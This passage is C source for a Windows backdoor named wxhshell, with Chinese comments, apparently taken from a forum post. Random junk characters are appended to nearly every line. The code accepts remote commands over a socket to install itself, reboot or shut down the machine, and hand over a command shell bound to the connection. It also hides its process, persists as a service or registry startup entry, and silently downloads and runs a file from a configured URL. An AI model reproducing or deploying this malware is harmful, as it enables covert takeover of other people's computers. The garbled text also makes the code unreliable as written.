  case '?': { <Fc;_GG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (ECnM ti+  
    break; ^ xh;  
  } _i|t Y4L  
  // 安装 3ojlB|Z  
  case 'i': { %<*g!y `  
    if(Install()) HbA kZP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ANZAX5  
    else P} SCF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 72y0/FJ  
    break; z>Hgkp8D"  
    } $gy*D7  
  // 卸载 Qqvihd  
  case 'r': { W!&'pg  
    if(Uninstall()) ^_u kLzP9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48qV >Gwf  
    else &c:Ad% z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M .JoHH  
    break; sy"^?th}b  
    } u\{ g(li-I  
  // 显示 wxhshell 所在路径 L3--r  
  case 'p': { l6kWQpV  
    char svExeFile[MAX_PATH]; aV?@s4  
    strcpy(svExeFile,"\n\r"); ~ZEmULKkR  
      strcat(svExeFile,ExeFile); Q[pV!CH  
        send(wsh,svExeFile,strlen(svExeFile),0); Dg?70v <a  
    break; JB`\G=PiL  
    } Q/_f zg  
  // 重启 `-l6S  
  case 'b': { DhT>']Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v` 7RCg`  
    if(Boot(REBOOT)) ie\"$i.98H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[&*Bj11Yg  
    else { D+z?wuXk  
    closesocket(wsh); cmg ^J  
    ExitThread(0); %$ Z7x\_  
    } T' &I{L33Y  
    break; MIoEauf  
    } I`LuRl w  
  // 关机 $!(pF  
  case 'd': { Jjv=u   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M|qteo  
    if(Boot(SHUTDOWN)) H {k^S\K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z2='o_c  
    else { O0No'LVu  
    closesocket(wsh); xp72>*_9&  
    ExitThread(0); kg3EY<4i  
    } ); dT_  
    break; be-~\@  
    } yo )%J  
  // 获取shell R_7 d@FQ1  
  case 's': { vIwCJN1C  
    CmdShell(wsh); :1^R9yWA4  
    closesocket(wsh); A"D,Kg S  
    ExitThread(0); ?)X,0P'  
    break; )'%$V%9  
  } [4C:r!  
  // 退出 [uls8 "^/j  
  case 'x': { u1PaHgi$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &c%g  
    CloseIt(wsh); g(J&m< I  
    break; ,@3$X=),E  
    } rJ{O(n]j  
  // 离开 ,JN8f]a^"g  
  case 'q': { yi%-7[*]=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RYl>  
    closesocket(wsh); cwWodPNm  
    WSACleanup(); 2e9es  
    exit(1); 9Fm"ei  
    break; e9[|!/./5  
        } 5qoSEI-m  
  } ANSFdc  
  }  KiOcu=F  
:WL'cJ9a  
  // 提示信息 meks RcF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mPP`xL?T  
} p>;_e(  
  } `zXO_@C  
u[/m|z  
  return; q]N:Tpm9  
} D{4YxR PX  
[$"n^5_~  
// shell模块句柄 pV,P|>YTf  
int CmdShell(SOCKET sock) q^L<X)  
{ (tGY%oT"  
STARTUPINFO si; P(73!DT+  
ZeroMemory(&si,sizeof(si)); oK%K}{`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hcbv;[bG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V6#K2  
PROCESS_INFORMATION ProcessInfo; S'B|>!z@  
char cmdline[]="cmd"; Xo*%/0q'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dwd:6.J(  
  return 0; P*Tx14xe4  
} 7C2&NyWJ  
>Ll$p 0W  
// 自身启动模式 @wC5 g 4E  
int StartFromService(void) i'wAE:Xe  
{ /'DsB%7g  
typedef struct YH_7=0EJ  
{ -!L"')  
  DWORD ExitStatus; X'% ;B  
  DWORD PebBaseAddress; Bk\Gj`"7  
  DWORD AffinityMask; z,:a8LB#[  
  DWORD BasePriority; njnDW~Snb  
  ULONG UniqueProcessId; -7&Gi +]  
  ULONG InheritedFromUniqueProcessId; D<X.\})Md  
}   PROCESS_BASIC_INFORMATION; D"ehWLj  
ZwerDkd  
PROCNTQSIP NtQueryInformationProcess; NDAw{[.%  
#\ n8M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0#*#a13  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _#}n~}d  
PF7&p~O(Z  
  HANDLE             hProcess; JA_BKA  
  PROCESS_BASIC_INFORMATION pbi; 4bJZmUb  
Mz;[+p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]B]*/  
  if(NULL == hInst ) return 0; ]$\|ktY!  
j$Je6zq0x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,SiY;(b=\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U*P. :BvG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xvSuPP4 m  
&gE 75B  
  if (!NtQueryInformationProcess) return 0; .rJiyED?!  
U(;&(W"M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y&=ALx@  
  if(!hProcess) return 0; LtKI3ou  
d k<XzO~g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NwR}yb6  
Z@%HvB7  
  CloseHandle(hProcess); 9bq<GC'eX8  
eD Z8w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0W()lQ   
if(hProcess==NULL) return 0; `\6?WXk3T  
6q6FB  
HMODULE hMod; %F*|;o7s  
char procName[255]; *d',Vuv&[  
unsigned long cbNeeded; d'Axum@  
u}|%@=xn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .ol'.t ,S  
T!}[yW  
  CloseHandle(hProcess); UD y(v]  
*8tI*Pus  
if(strstr(procName,"services")) return 1; // 以服务启动 cFF*Z=L _  
79yd&5#e?  
  return 0; // 注册表启动 5+jf/}t A  
} [ dE.[  
@Ehn(}  
// 主模块 S"hTE7`   
int StartWxhshell(LPSTR lpCmdLine) S$^ RbI  
{ GzTq5uU&  
  SOCKET wsl; X*7\lf2  
BOOL val=TRUE; E|$Oha[  
  int port=0; s{4\xAS>  
  struct sockaddr_in door; %D`,k*X  
*VkgQ`c  
  if(wscfg.ws_autoins) Install(); '2-oh  
5I@w~z  
port=atoi(lpCmdLine); 6k/U3&R  
DK&h eVIoZ  
if(port<=0) port=wscfg.ws_port; %&\jOq~  
Lh-`OmO0>F  
  WSADATA data; Zf>^4_x3P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (?b@b[D~4  
A;u"<KG?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5]1h8PW!Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pBC<u  
  door.sin_family = AF_INET; {A o,t+j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .\qj;20W  
  door.sin_port = htons(port); 90Hjx>[  
2w$t wW-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V8~jf-\$b  
closesocket(wsl); Sj(F3wY  
return 1; STA4 p6  
} ='E$-_  
!"TZ:"VZU  
  if(listen(wsl,2) == INVALID_SOCKET) { -gz0md|Y  
closesocket(wsl); KZBrE$@%5  
return 1; D8# on!  
} V=:_d,  
  Wxhshell(wsl); pNE(n4v  
  WSACleanup(); ~/tKMS6T  
? QDWuPhN  
return 0; M'1!<a-Mp  
j,2l8?  
} =N|kn<h4  
^SfS~G Q  
// 以NT服务方式启动 +tN &a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S2VVv$r_6  
{ ?oiKVL"7  
DWORD   status = 0; '~wpP=<yyF  
  DWORD   specificError = 0xfffffff; :Ld!mRZF  
VZIR4J[\.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; www`=)A;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GW2')}g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1[;@AE2Y  
  serviceStatus.dwWin32ExitCode     = 0; YO:&;K%  
  serviceStatus.dwServiceSpecificExitCode = 0; jec:i-,  
  serviceStatus.dwCheckPoint       = 0; `4CWE_k  
  serviceStatus.dwWaitHint       = 0; WnAd5#G  
I}Xg &-L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vVs#^"-nW  
  if (hServiceStatusHandle==0) return; /LQ:Sv7  
y/@iT8$rp  
status = GetLastError();  !=*.$4  
  if (status!=NO_ERROR) (a6?s{(  
{ 6b Z[Kt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #rYENR[  
    serviceStatus.dwCheckPoint       = 0; u; TvS |  
    serviceStatus.dwWaitHint       = 0; WIh@y2&R  
    serviceStatus.dwWin32ExitCode     = status; I 2HT2c$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,c)g,J9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 396R$\q  
    return; Z]:BYX'  
  } u&TdWZe  
" B@jfa%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pyW u9  
  serviceStatus.dwCheckPoint       = 0; =<<3Pkv7@  
  serviceStatus.dwWaitHint       = 0; e"+dTq8W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hQgN9S5P  
} S9Yt1qb  
C/v}^#cLD  
// 处理NT服务事件,比如:启动、停止 |&hU=J o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0D)`2W  
{ Z]-WFU_ N  
switch(fdwControl) s!6=|SS7  
{ ]i8c\UV\  
case SERVICE_CONTROL_STOP: xT F=Y_  
  serviceStatus.dwWin32ExitCode = 0; 04 y!\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D(r:}pyU  
  serviceStatus.dwCheckPoint   = 0; G"S5ki`o  
  serviceStatus.dwWaitHint     = 0; Kv+Bfh  
  { e4qj .b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ibF#$&!  
  } En9R>A;`  
  return; LBX%HGH  
case SERVICE_CONTROL_PAUSE: Wtv#h~jy9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [l[{6ZXt  
  break; "'eWn6O(  
case SERVICE_CONTROL_CONTINUE: pX<a2F P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S>ugRasZ$  
  break; Vf{2dZZ{1  
case SERVICE_CONTROL_INTERROGATE: sS,#0Qt.  
  break; R.7#zhC`4  
}; h}=M^SL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \OHv|8!EI@  
} $+:(f{Va*  
` X+j2TmS  
// 标准应用程序主函数 nN ~GP"}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [a8+(  
{ }#aKFcvg  
O2H/rFx4  
// 获取操作系统版本 c)1=U_61  
OsIsNt=GetOsVer(); wR7aQg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c d%hW  
p~bkf>  
  // 从命令行安装 3B,QJ&  
  if(strpbrk(lpCmdLine,"iI")) Install(); o?!uX|Fy  
9p> /?H|  
  // 下载执行文件 KZK,w#9.  
if(wscfg.ws_downexe) { s[-]cHQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]A!.9Ko}u  
  WinExec(wscfg.ws_filenam,SW_HIDE); hmGdjw t$  
} vbn>mg5  
 a8h]n:!  
if(!OsIsNt) { G6Q4-kcK  
// 如果时win9x,隐藏进程并且设置为注册表启动 `Ei"_W  
HideProc(); m,NMTyJoz  
StartWxhshell(lpCmdLine); cTj~lO6  
} V<$*Y>;  
else [$2qna2VP  
  if(StartFromService()) t&"5dM\  
  // 以服务方式启动 2xmT#m  
  StartServiceCtrlDispatcher(DispatchTable); <PD|_nZT  
else HtzMDGV<  
  // 普通方式启动 qWB%),`j>  
  StartWxhshell(lpCmdLine); q 22/_nSC  
%}F"*.  
return 0; zPQ$\$7xB  
}
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只看该作者 1 发表于: 2006-10-10
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